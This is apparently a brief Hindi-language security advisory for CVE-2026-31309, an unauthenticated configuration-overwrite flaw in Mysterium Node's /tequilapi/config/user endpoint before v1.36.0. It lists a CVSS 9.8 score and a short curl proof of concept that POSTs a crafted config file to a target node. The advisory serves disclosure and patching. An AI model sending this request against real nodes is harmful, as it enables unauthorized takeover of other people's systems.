CVE-2026-31309: अनुचित अभिगम नियंत्रण Mysterium Node में v1.36.0 से पहले

Mysterium Node के /tequilapi/config/user एंडपॉइंट में v1.21.1-rc0 से v1.36.0 से पहले के संस्करणों में अनुचित प्राधिकरण एक अप्रमाणित हमलावर को नोड के कॉन्फ़िगरेशन को मनमाने ढंग से अधिलेखित करने और एक निर्मित POST अनुरोध के माध्यम से पूर्ण नोड अधिग्रहण प्राप्त करने की अनुमति देता है।

CVSS

स्कोर: 9.8 (गंभीर)

वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PoC

curl -X POST \
    "Content-Type: application/json" \
    -d @config.json \
    http://<host>:<port>/tequilapi/config/user

Till Schacht द्वारा खोजा गया।

संदर्भ